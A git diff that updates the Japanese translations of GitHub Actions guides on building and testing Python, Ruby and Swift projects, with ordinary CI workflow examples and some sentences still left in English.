         run: |
           # stop the build if there are Python syntax errors or undefined names
           flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
-          # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
+          # exit-zero はすべてのエラーを警告として扱う。 GitHub エディタの幅は 127 文字
           flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
       - name: Test with pytest
         run: |
@@ -85,25 +85,25 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a Python version
+## Pythonのバージョンの指定
 
-To use a pre-installed version of Python or PyPy on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-python` action. This action finds a specific version of Python or PyPy from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. If a specific version of Python is not pre-installed in the tools cache, the `setup-python` action will download and set up the appropriate version from the [`python-versions`](https://github.com/actions/python-versions) repository.
+{% data variables.product.prodname_dotcom %}ホストランナー上でPythonもしくはPyPyのプリインストールされたバージョンを使うには、`setup-python`アクションを使ってください。 このアクションは各ランナーのツールキャッシュから指定されたバージョンのPythonもしくはPyPyを見つけ、必要なバイナリを`PATH`に追加します。設定されたバイナリは、ジョブでそれ以降永続化されます。 特定のバージョンの Python がツールキャッシュにプリインストールされていない場合、`setup-python` アクションは [`python-versions`](https://github.com/actions/python-versions) リポジトリから適切なバージョンをダウンロードして設定します。
 
-Using the `setup-python` action is the recommended way of using Python with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Python. If you are using a self-hosted runner, you must install Python and add it to `PATH`. For more information, see the [`setup-python` action](https://github.com/marketplace/actions/setup-python).
+`setup-action`の利用は、{% data variables.product.prodname_actions %}でPythonを使うための推奨される方法です。 これは、そうすることで様々なランナーや様々なバージョンのPythonで一貫した振る舞いが保証されるためです。 セルフホストランナーを使っている場合は、Pythonをインストールして`PATH`に追加しなければなりません。 詳しい情報については、[`setup-python`アクション](https://github.com/marketplace/actions/setup-python)を参照してください。
 
-The table below describes the locations for the tools cache in each {% data variables.product.prodname_dotcom %}-hosted runner.
+以下の表は、各{% data variables.product.prodname_dotcom %}ホストランナー内でのツールキャッシュの場所です。
 
-|| Ubuntu | Mac | Windows |
-|------|-------|------|----------|
-|**Tool Cache Directory** |`/opt/hostedtoolcache/*`|`/Users/runner/hostedtoolcache/*`|`C:\hostedtoolcache\windows\*`|
-|**Python Tool Cache**|`/opt/hostedtoolcache/Python/*`|`/Users/runner/hostedtoolcache/Python/*`|`C:\hostedtoolcache\windows\Python\*`|
-|**PyPy Tool Cache**|`/opt/hostedtoolcache/PyPy/*`|`/Users/runner/hostedtoolcache/PyPy/*`|`C:\hostedtoolcache\windows\PyPy\*`|
+|                    | Ubuntu                          | Mac                                      | Windows                                    |
+| ------------------ | ------------------------------- | ---------------------------------------- | ------------------------------------------ |
+| **ツールキャッシュディレクトリ** | `/opt/hostedtoolcache/*`        | `/Users/runner/hostedtoolcache/*`        | `C:\hostedtoolcache\windows\*`         |
+| **Pythonツールキャッシュ** | `/opt/hostedtoolcache/Python/*` | `/Users/runner/hostedtoolcache/Python/*` | `C:\hostedtoolcache\windows\Python\*` |
+| **PyPyツールキャッシュ**   | `/opt/hostedtoolcache/PyPy/*`   | `/Users/runner/hostedtoolcache/PyPy/*`   | `C:\hostedtoolcache\windows\PyPy\*`   |
 
-If you are using a self-hosted runner, you can configure the runner to use the `setup-python` action to manage your dependencies. For more information, see [using setup-python with a self-hosted runner](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner) in the `setup-python` README.
+セルフホストランナーを使用している場合は、`setup-python` アクションを使用して依存関係を管理するようにランナーを設定できます。 詳しい情報については、`setup-python` の README にある「[セルフホストランナーで setup-python を使用する](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner)」を参照してください。
 
-{% data variables.product.prodname_dotcom %} supports semantic versioning syntax. For more information, see "[Using semantic versioning](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept)" and the "[Semantic versioning specification](https://semver.org/)."
+{% data variables.product.prodname_dotcom %}は、セマンティックバージョン構文をサポートしています。 詳しい情報については「[セマンティックバージョンの利用](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept)」及び「[セマンティックバージョンの仕様](https://semver.org/)」を参照してください。
 
-### Using multiple Python versions
+### Pythonの複数バージョンの利用
 
 {% raw %}
 ```yaml{:copy}
@@ -116,7 +116,7 @@ jobs:
 
     runs-on: ubuntu-latest
     strategy:
-      # You can use PyPy versions in python-version.
+      # python-version内のPyPyのバージョンが利用できる。
       # For example, pypy2 and pypy3
       matrix:
         python-version: ["2.7", "3.6", "3.7", "3.8", "3.9"]
@@ -133,9 +133,9 @@ jobs:
 ```
 {% endraw %}
 
-### Using a specific Python version
+### 　特定のバージョンのPythonの利用
 
-You can configure a specific version of python. For example, 3.8. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of Python 3.
+Pythonの特定バージョンを設定することができます。 たとえば3.8が利用できます。 あるいは、最新のマイナーリリースを取得するためにセマンティックバージョン構文を使うこともできます。 以下の例では、Python 3の最新のマイナーリリースを使います。
 
 {% raw %}
 ```yaml{:copy}
@@ -153,21 +153,21 @@ jobs:
       - name: Set up Python 3.x
         uses: actions/setup-python@v2
         with:
-          # Semantic version range syntax or exact version of a Python version
+          # セマンティックバージョン範囲の構文または Python バージョンの正確なバージョン
           python-version: '3.x'
           # Optional - x64 or x86 architecture, defaults to x64
           architecture: 'x64'
-      # You can test your matrix by printing the current Python version
+      # 現在の Python バージョンを出力してマトリックスをテスト可能
       - name: Display Python version
         run: python -c "import sys; print(sys.version)"
 ```
 {% endraw %}
 
-### Excluding a version
+### バージョンの除外
 
-If you specify a version of Python that is not available, `setup-python` fails with an error such as: `##[error]Version 3.4 with arch x64 not found`. The error message includes the available versions.
+使用できないPythonのバージョンを指定すると、`setup-python`は`##[error]Version 3.4 with arch x64 not found`といったエラーで失敗します。 このエラーメッセージには、利用できるバージョンが含まれます。
 
-You can also use the `exclude` keyword in your workflow if there is a configuration of Python that you do not wish to run. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)."
+実行したくないPythonの環境があるなら、ワークフロー中で`exclude`キーワードを使うこともできます。 詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)」を参照してください。
 
 {% raw %}
 ```yaml{:copy}
@@ -191,21 +191,21 @@ jobs:
 ```
 {% endraw %}
 
-### Using the default Python version
+### デフォルトバージョンのPythonの利用
 
-We recommend using `setup-python` to configure the version of Python used in your workflows because it helps make your dependencies explicit. If you don't use `setup-python`, the default version of Python set in `PATH` is used in any shell when you call `python`. The default version of Python varies between {% data variables.product.prodname_dotcom %}-hosted runners, which may cause unexpected changes or use an older version than expected.
+依存関係を明示的にしやすくなるので、ワークフロー中で使うPythonのバージョンの設定には`setup-python`を使うことをおすすめします。 `setup-python`を使わない場合、いずれかのシェルで`python`を呼ぶと`PATH`に設定されたデフォルトバージョンのPythonが使われます。 デフォルトバージョンのPythonは、{% data variables.product.prodname_dotcom %}ホストランナーによって様々なので、予想外の変更が生じたり、期待しているよりも古いバージョンが使われたりするかもしれません。
 
-| {% data variables.product.prodname_dotcom %}-hosted runner | Description |
-|----|----|
-| Ubuntu | Ubuntu runners have multiple versions of system Python installed under `/usr/bin/python` and `/usr/bin/python3`. The Python versions that come packaged with Ubuntu are in addition to the versions that {% data variables.product.prodname_dotcom %} installs in the tools cache. |
-| Windows | Excluding the versions of Python that are in the tools cache, Windows does not ship with an equivalent version of system Python. To maintain consistent behavior with other runners and to allow Python to be used out-of-the-box without the `setup-python` action, {% data variables.product.prodname_dotcom %} adds a few versions from the tools cache to `PATH`.|
-| macOS | The macOS runners have more than one version of system Python installed, in addition to the versions that are part of the tools cache. The system Python versions are located in the `/usr/local/Cellar/python/*` directory. |
+| {% data variables.product.prodname_dotcom %}ホストランナー | 説明                                                                                                                                                                                                               |
+| --------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Ubuntu                                              | Ubuntuランナーでは`/usr/bin/python`及び`/usr/bin/python3`の下に複数バージョンのシステムPythonがあります。 {% data variables.product.prodname_dotcom %}がツールキャッシュにインストールしエチルバージョンに加えて、UbuntuにパッケージングされているバージョンのPythonがあります。                     |
+| Windows                                             | ツールキャッシュにあるPythonのバージョンを除けば、WindowsにはシステムPythonに相当するバージョンは含まれていません。 他のランナーとの一貫した動作を保ち、`setup-python`アクションなしですぐにPythonが使えるようにするため、{% data variables.product.prodname_dotcom %}はツールキャッシュからいくつかのバージョンを`PATH`に追加します。 |
+| macOS                                               | macOSランナーには、ツールキャッシュ内のバージョンに加えて、複数バージョンのシステムPythonがインストールされています。 システムのPythonバージョンは`/usr/local/Cellar/python/*`mディレクトリにあります。                                                                                      |
 
-## Installing dependencies
+## 依存関係のインストール
 
-{% data variables.product.prodname_dotcom %}-hosted runners have the pip package manager installed. You can use pip to install dependencies from the PyPI package registry before building and testing your code. For example, the YAML below installs or upgrades the `pip` package installer and the `setuptools` and `wheel` packages.
+{% data variables.product.prodname_dotcom %}ホストランナーには、パッケージマネージャーのpipがインストールされています。 コードのビルドとテストに先立って、pipを使ってパッケージレジストリのPyPIから依存関係をインストールできます。 たとえば以下のYAMLは`pip`パッケージインストーラーと`setuptools`及び`wheel`パッケージのインストールやアップグレードを行います。
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+{% data variables.product.prodname_dotcom %}ホストランナーを使用する場合、依存関係をキャッシュしてワークフローの実行を高速化することもできます。 詳しい情報については、「<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">ワークフローを高速化するための依存関係のキャッシュ</a>」を参照してください。
 
 {% raw %}
 ```yaml{:copy}
@@ -220,9 +220,9 @@ steps:
 ```
 {% endraw %}
 
-### Requirements file
+### Requirementsファイル
 
-After you update `pip`, a typical next step is to install dependencies from *requirements.txt*. For more information, see [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file).
+`pip`をアップデートした後、次の典型的なステップは*requirements.txt*からの依存関係のインストールです。 For more information, see [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file).
 
 {% raw %}
 ```yaml{:copy}
@@ -239,7 +239,7 @@ steps:
 ```
 {% endraw %}
 
-### Caching Dependencies
+### 依存関係のキャッシング
 
 When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-python` action](https://github.com/actions/setup-python).
 
@@ -256,17 +256,17 @@ steps:
 - run: pip test
 ```
 
-By default, the `setup-python` action searches for the dependency file (`requirements.txt` for pip or `Pipfile.lock` for pipenv) in the whole repository. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching packages dependencies</a>" in the `setup-python` actions README. 
+By default, the `setup-python` action searches for the dependency file (`requirements.txt` for pip or `Pipfile.lock` for pipenv) in the whole repository. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching packages dependencies</a>" in the `setup-python` actions README.
 
-If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). Pip caches dependencies in different locations, depending on the operating system of the runner. The path you'll need to cache may differ from the Ubuntu example above, depending on the operating system you use. For more information, see [Python caching examples](https://github.com/actions/cache/blob/main/examples.md#python---pip) in the `cache` action repository.
+If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). ランナーのオペレーティングシステムによって、pipは依存関係を様々な場所にキャッシュします。 The path you'll need to cache may differ from the Ubuntu example above, depending on the operating system you use. For more information, see [Python caching examples](https://github.com/actions/cache/blob/main/examples.md#python---pip) in the `cache` action repository.
 
-## Testing your code
+## コードのテスト
 
-You can use the same commands that you use locally to build and test your code.
+ローカルで使うのと同じコマンドを、コードのビルドとテストに使えます。
 
-### Testing with pytest and pytest-cov
+### pytest及びpytest-covでのテスト
 
-This example installs or upgrades `pytest` and `pytest-cov`. Tests are then run and output in JUnit format while code coverage results are output in Cobertura. For more information, see [JUnit](https://junit.org/junit5/) and [Cobertura](https://cobertura.github.io/cobertura/).
+以下の例では、`pytest`及び`pytest-cov`をインストールあるいはアップグレードします。 そしてテストが実行され、JUnit形式で出力が行われ、一方でコードカバレッジの結果がCoberturaに出力されます。 詳しい情報については[JUnit](https://junit.org/junit5/)及び[Cobertura](https://cobertura.github.io/cobertura/)を参照してください。
 
 {% raw %}
 ```yaml{:copy}
@@ -288,9 +288,9 @@ steps:
 ```
 {% endraw %}
 
-### Using Flake8 to lint code
+### Flake8を使ったコードのlint
 
-The following example installs or upgrades `flake8` and uses it to lint all files. For more information, see [Flake8](http://flake8.pycqa.org/en/latest/).
+以下の例は、`flake8`をインストールもしくはアップグレードし、それを使ってすべてのファイルをlintします。 詳しい情報については[Flake8](http://flake8.pycqa.org/en/latest/)を参照してください。
 
 {% raw %}
 ```yaml{:copy}
@@ -314,9 +314,9 @@ steps:
 
 The linting step has `continue-on-error: true` set. This will keep the workflow from failing if the linting step doesn't succeed. Once you've addressed all of the linting errors, you can remove this option so the workflow will catch new issues.
 
-### Running tests with tox
+### toxでのテストの実行
 
-With {% data variables.product.prodname_actions %}, you can run tests with tox and spread the work across multiple jobs. You'll need to invoke tox using the `-e py` option to choose the version of Python in your `PATH`, rather than specifying a specific version. For more information, see [tox](https://tox.readthedocs.io/en/latest/).
+{% data variables.product.prodname_actions %}では、toxでテストを実行し、その処理を複数のジョブに分散できます。 toxを起動する際には、特定のバージョンを指定するのではなく、`-e py`オプションを使って`PATH`中のPythonのバージョンを選択しなければなりません。 詳しい情報については [tox](https://tox.readthedocs.io/en/latest/)を参照してください。
 
 {% raw %}
 ```yaml{:copy}
@@ -346,11 +346,11 @@ jobs:
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## 成果物としてのワークフローのデータのパッケージ化
 
-You can upload artifacts to view after a workflow completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+ワークフローの完了後に、成果物をアップロードして見ることができます。 たとえば、ログファイル、コアダンプ、テスト結果、スクリーンショットを保存する必要があるかもしれません。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。
 
-The following example demonstrates how you can use the `upload-artifact` action to archive test results from running `pytest`. For more information, see the [`upload-artifact` action](https://github.com/actions/upload-artifact).
+以下の例は、`upload-artifact`アクションを使って`pytest`の実行によるテスト結果をアーカイブする方法を示しています。 詳しい情報については[`upload-artifact`アクション](https://github.com/actions/upload-artifact)を参照してください。
 
 {% raw %}
 ```yaml{:copy}
@@ -389,11 +389,11 @@ jobs:
 ```
 {% endraw %}
 
-## Publishing to package registries
+## パッケージレジストリへの公開
 
-You can configure your workflow to publish your Python package to a package registry once your CI tests pass. This section demonstrates how you can use {% data variables.product.prodname_actions %} to upload your package to PyPI each time you [publish a release](/github/administering-a-repository/managing-releases-in-a-repository). 
+You can configure your workflow to publish your Python package to a package registry once your CI tests pass. This section demonstrates how you can use {% data variables.product.prodname_actions %} to upload your package to PyPI each time you [publish a release](/github/administering-a-repository/managing-releases-in-a-repository).
 
-For this example, you will need to create two [PyPI API tokens](https://pypi.org/help/#apitoken). You can use secrets to store the access tokens or credentials needed to publish your package. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+For this example, you will need to create two [PyPI API tokens](https://pypi.org/help/#apitoken). You can use secrets to store the access tokens or credentials needed to publish your package. 詳しい情報については、「[暗号化されたシークレットの作成と利用](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-ruby.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
index 09d888b839..826b4676f1 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Ruby
-intro: You can create a continuous integration (CI) workflow to build and test your Ruby project.
+title: Rubyでのビルドとテスト
+intro: Rubyプロジェクトのビルドとテストのための継続的インテグレーション（CI）ワークフローを作成できます。
 redirect_from:
   - /actions/guides/building-and-testing-ruby
 versions:
@@ -18,22 +18,22 @@ shortTitle: Build & test Ruby
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to create a continuous integration (CI) workflow that builds and tests a Ruby application. If your CI tests pass, you may want to deploy your code or publish a gem.
+このガイドでは、Rubyアプリケーションのビルドとテストを行う継続的インテグレーション（CI）ワークフローの作成方法を紹介します。 CIテストにパスしたなら、コードをデプロイしたりgemを公開したりすることになるでしょう。
 
-## Prerequisites
+## 必要な環境
 
-We recommend that you have a basic understanding of Ruby, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+Ruby、YAML、ワークフローの設定オプションと、ワークフローファイルの作成方法についての基本的な知識を持っておくことをおすすめします。 詳しい情報については、以下を参照してください。
 
-- [Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
-- [Ruby in 20 minutes](https://www.ruby-lang.org/en/documentation/quickstart/)
+- [{% data variables.product.prodname_actions %}を学ぶ](/actions/learn-github-actions)
+- [20分のRuby](https://www.ruby-lang.org/en/documentation/quickstart/)
 
 ## Using the Ruby starter workflow
 
 {% data variables.product.prodname_dotcom %} provides a Ruby starter workflow that will work for most Ruby projects. For more information, see the [Ruby starter workflow](https://github.com/actions/starter-workflows/blob/master/ci/ruby.yml).
 
-To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository. 以下に示すワークフローは、リポジトリのデフォルトブランチが `main` であることを前提としています。
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -63,13 +63,13 @@ jobs:
         run: bundle exec rake
 ```
 
-## Specifying the Ruby version
+## Rubyのバージョンの指定
 
-The easiest way to specify a Ruby version is by using the `ruby/setup-ruby` action provided by the Ruby organization on GitHub. The action adds any supported Ruby version to `PATH` for each job run in a workflow. For more information see, the [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby).
+Rubyのバージョンを指定する最も簡単な方法は、GitHub上でRuby Organizationが提供している`ruby/setup-ruby`アクションを使うことです。 このアクションは、ワークフロー中の各ジョブの実行時に、`PATH`にサポートされているRubyのバージョンを追加します。 詳しい情報については[`ruby/setup-ruby`](https://github.com/ruby/setup-ruby)を参照してください。
 
-Using Ruby's `ruby/setup-ruby` action is the recommended way of using Ruby with GitHub Actions because it ensures consistent behavior across different runners and different versions of Ruby.
+Ruby の `ruby/setup-ruby` アクションの使用は、GitHub Actions で Ruby を使用する際に推奨されている方法です。これは、そうすることで Ruby のさまざまなランナーやバージョン間で一貫した振る舞いが保証されるためです。
 
-The `setup-ruby` action takes a Ruby version as an input and configures that version on the runner.
+`setup-ruby`アクションはRubyのバージョンを入力として取り、ランナー上でそのバージョンを設定します。
 
 {% raw %}
 ```yaml
@@ -83,11 +83,11 @@ steps:
 ```
 {% endraw %}
 
-Alternatively, you can check a `.ruby-version` file  into the root of your repository and `setup-ruby` will use the version defined in that file.
+あるいは、リポジトリのルートに`.ruby-version`ファイルをチェックインすれば、このファイルで定義されたバージョンを`setup-ruby`が使います。
 
-## Testing with multiple versions of Ruby
+## 複数のバージョンの Ruby でのテスト
 
-You can add a matrix strategy to run your workflow with more than one version of Ruby. For example, you can test your code against the latest patch releases of versions 2.7, 2.6, and 2.5. The 'x' is a wildcard character that matches the latest patch release available for a version.
+複数バージョンのRubyでワークフローを実行するように、マトリクス戦略を追加できます。 たとえば、バージョン2.7、2.6、2.5の最新のパッチリリースでコードをテストできます。 この'x'はワイルドカードキャラクターで、そのバージョンで利用できる最新のパッチリリースにマッチします。
 
 {% raw %}
 ```yaml
@@ -97,9 +97,9 @@ strategy:
 ```
 {% endraw %}
 
-Each version of Ruby specified in the `ruby-version` array creates a job that runs the same steps. The {% raw %}`${{ matrix.ruby-version }}`{% endraw %} context is used to access the current job's version. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions)" and "[Contexts](/actions/learn-github-actions/contexts)."
+`ruby-version`配列で指定されたRubyの各バージョンに対して、同じステップを実行するジョブが作成されます。 現在のジョブのバージョンにアクセスするのには、{% raw %}`${{ matrix.ruby-version }}`{% endraw %}コンテキストが使われます。 For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions)" and "[Contexts](/actions/learn-github-actions/contexts)."
 
-The full updated workflow with a matrix strategy could look like this:
+マトリクス戦略を持つ更新された完全なワークフローは、以下のようになるでしょう。
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -133,9 +133,9 @@ jobs:
         run: bundle exec rake
 ```
 
-## Installing dependencies with Bundler
+## Bundlerでの依存関係のインストール
 
-The `setup-ruby` action will automatically install bundler for you. The version is determined by your `gemfile.lock` file. If no version is present in your lockfile, then the latest compatible version will be installed.
+`setup-ruby` アクションは自動的にbundlerをインストールします。 バージョンは、`gemfile.lock`ファイルで決定されます。 ロックファイルにバージョンがなければ、互換性のある最新のバージョンがインストールされます。
 
 {% raw %}
 ```yaml
@@ -148,11 +148,11 @@ steps:
 ```
 {% endraw %}
 
-### Caching dependencies
+### 依存関係のキャッシング
 
-If you are using {% data variables.product.prodname_dotcom %}-hosted runners, the `setup-ruby` actions provides a method to automatically handle the caching of your gems between runs.
+{% data variables.product.prodname_dotcom %}ホストランナーを使っているなら、`setup-ruby`は実行間でのgemのキャッシュを自動的に処理する方法を提供します。
 
-To enable caching, set the following.
+キャッシングを有効にするには、以下の設定をしてください。
 
 {% raw %}
 ```yaml
@@ -163,11 +163,11 @@ steps:
 ```
 {% endraw %}
 
-This will configure bundler to install your gems to `vendor/cache`. For each successful run of your workflow, this folder will be cached by Actions and re-downloaded for subsequent workflow runs. A hash of your gemfile.lock and the Ruby version are used as the cache key. If you install any new gems, or change a version, the cache will be invalidated and bundler will do a fresh install.
+これで、gemを`vendor/cache`にインストールするようbundlerが設定されます。 ワークフローの実行が成功するたびに、このフォルダーはアクションによってキャッシュされ、それ以降のワークフローの実行の際に再ダウンロードされます。 キャッシュのキーとしては、gemfile.lockのハッシュとRubyのバージョンが使われます。 新しいgemをインストールしたり、バージョンを変更したりすると、キャッシュは無効になり、bundlerは新しくインストールを行います。
 
-**Caching without setup-ruby**
+**setup-rubyを使わないキャッシング**
 
-For greater control over caching, if you are using {% data variables.product.prodname_dotcom %}-hosted runners, you can use the `actions/cache` Action directly. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+キャッシュをさらに制御するには、{% data variables.product.prodname_dotcom %}ホストランナーを使っているなら、`actions/cache`アクションを直接使うことができます。 詳しい情報については、「<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">ワークフローを高速化するための依存関係のキャッシュ</a>」を参照してください。
 
 {% raw %}
 ```yaml
@@ -185,7 +185,7 @@ steps:
 ```
 {% endraw %}
 
-If you're using a matrix build, you will want to include the matrix variables in your cache key. For example, if you have a matrix strategy for different ruby versions (`matrix.ruby-version`) and different operating systems (`matrix.os`), your workflow steps might look like this:
+マトリクスビルドを使っているなら、キャッシュのキーにマトリクスの変数を含めたくなるでしょう。 たとえば様々なRubyのバージョン(`matrix.ruby-version`) と、様々なオペレーティングシステム(`matrix.os`)のマトリクス戦略を持っているなら、ワークフローのステップは以下のようになるでしょう。
 
 {% raw %}
 ```yaml
@@ -203,9 +203,9 @@ steps:
 ```
 {% endraw %}
 
-## Matrix testing your code
+## コードのマトリクステスト
 
-The following example matrix tests all stable releases and head versions of MRI, JRuby and TruffleRuby on Ubuntu and macOS.
+以下の例のマトリクスは、すべての安定リリースとヘッドバージョンのMRI、JRuby、TruffleRubyをUbuntu及びmacOSでテストします。
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -236,9 +236,9 @@ jobs:
       - run: bundle exec rake
 ```
 
-## Linting your code
+## コードの文法チェック
 
-The following example installs `rubocop` and uses it to lint all files. For more information, see [Rubocop](https://github.com/rubocop-hq/rubocop). You can [configure Rubocop](https://docs.rubocop.org/rubocop/configuration.html) to decide on the specific linting rules.
+以下の例は`rubocop`をインストールし、それを使ってすべてのファイルの文法チェックを行います。 詳しい情報については[ Rubocop](https://github.com/rubocop-hq/rubocop)を参照してください。 特定の文法チェックルールを決めるために、[ Rubocopを設定](https://docs.rubocop.org/rubocop/configuration.html)できます。
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -260,11 +260,11 @@ jobs:
         run: rubocop
 ```
 
-## Publishing Gems
+## gemの公開
 
-You can configure your workflow to publish your Ruby package to any package registry you'd like when your CI tests pass.
+CIテストにパスしたなら、Rubyパッケージを任意のパッケージレジストリに公開するようにワークフローを設定できます。
 
-You can store any access tokens or credentials needed to publish your package using repository secrets. The following example creates and publishes a package to `GitHub Package Registry` and `RubyGems`.
+パッケージを公開するのに必要なアクセストークンやクレデンシャルは、リポジトリシークレットを使って保存できます。 以下の例は、パッケージを作成して`GitHub Package Registry`及び`RubyGems`に公開します。
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-swift.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-swift.md
index c343875e70..4dfaf2bae3 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-swift.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-swift.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Swift
-intro: You can create a continuous integration (CI) workflow to build and test your Swift project.
+title: Swift のビルドとテスト
+intro: 継続的インテグレーション (CI) ワークフローを作成して、Swift プロジェクトをビルドおよびテストできます。
 redirect_from:
   - /actions/guides/building-and-testing-swift
 versions:
@@ -18,18 +18,18 @@ shortTitle: Build & test Swift
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to build and test a Swift package.
+このガイドでは、Swift パッケージをビルドしてテストする方法を説明します。
 
 {% ifversion ghae %} To build and test your Swift project on {% data variables.product.prodname_ghe_managed %}, the necessary Swift dependencies are required. {% data reusables.actions.self-hosted-runners-software %}
-{% else %}{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, and the Ubuntu and macOS runners include the dependencies for building Swift packages. For a full list of up-to-date software and the preinstalled versions of Swift and Xcode, see "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software)."{% endif %}
+{% else %}{% data variables.product.prodname_dotcom %} ホストランナーには、ソフトウェアがプリインストールされたツールキャッシュがあり、Ubuntu および macOS ランナーには、Swift パッケージをビルドするための依存関係が含まれています。 最新のソフトウェアとプレインストールされたバージョンの Swift および Xcode の完全なリストについては、「[GitHub ホストランナーについて](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software)」を参照してください。{% endif %}
 
-## Prerequisites
+## 必要な環境
 
-You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+YAMLの構文と、{% data variables.product.prodname_actions %}でのYAMLの使われ方に馴染んでいる必要があります。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)」を参照してください。
 
-We recommend that you have a basic understanding of Swift packages. For more information, see "[Swift Packages](https://developer.apple.com/documentation/swift_packages)" in the Apple developer documentation.
+Swift パッケージの基本を理解しておくことをお勧めします。 詳細については、Apple 開発者ドキュメントの「[Swift パッケージ](https://developer.apple.com/documentation/swift_packages)」を参照してください。
 
 ## Using the Swift starter workflow
 
@@ -57,17 +57,17 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a Swift version
+## Swift バージョンの指定
 
-To use a specific preinstalled version of Swift on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `fwal/setup-swift` action. This action finds a specific version of Swift from the tools cache on the runner and adds the necessary binaries to `PATH`. These changes will persist for the remainder of a job. For more information, see the [`fwal/setup-swift`](https://github.com/marketplace/actions/setup-swift) action.
+{% data variables.product.prodname_dotcom %} ホストランナーでプリインストールされた特定のバージョンの Swift を使用するには、`fwal/setup-swift` アクションを使用します。 このアクションは、ランナーのツールキャッシュから特定のバージョンの Swift を見つけ、必要なバイナリを `PATH` に追加します。 これらの変更は、ジョブの残りの部分で保持されます。 詳しい情報については、[`fwal/setup-swift`](https://github.com/marketplace/actions/setup-swift) アクションを参照してください。
 
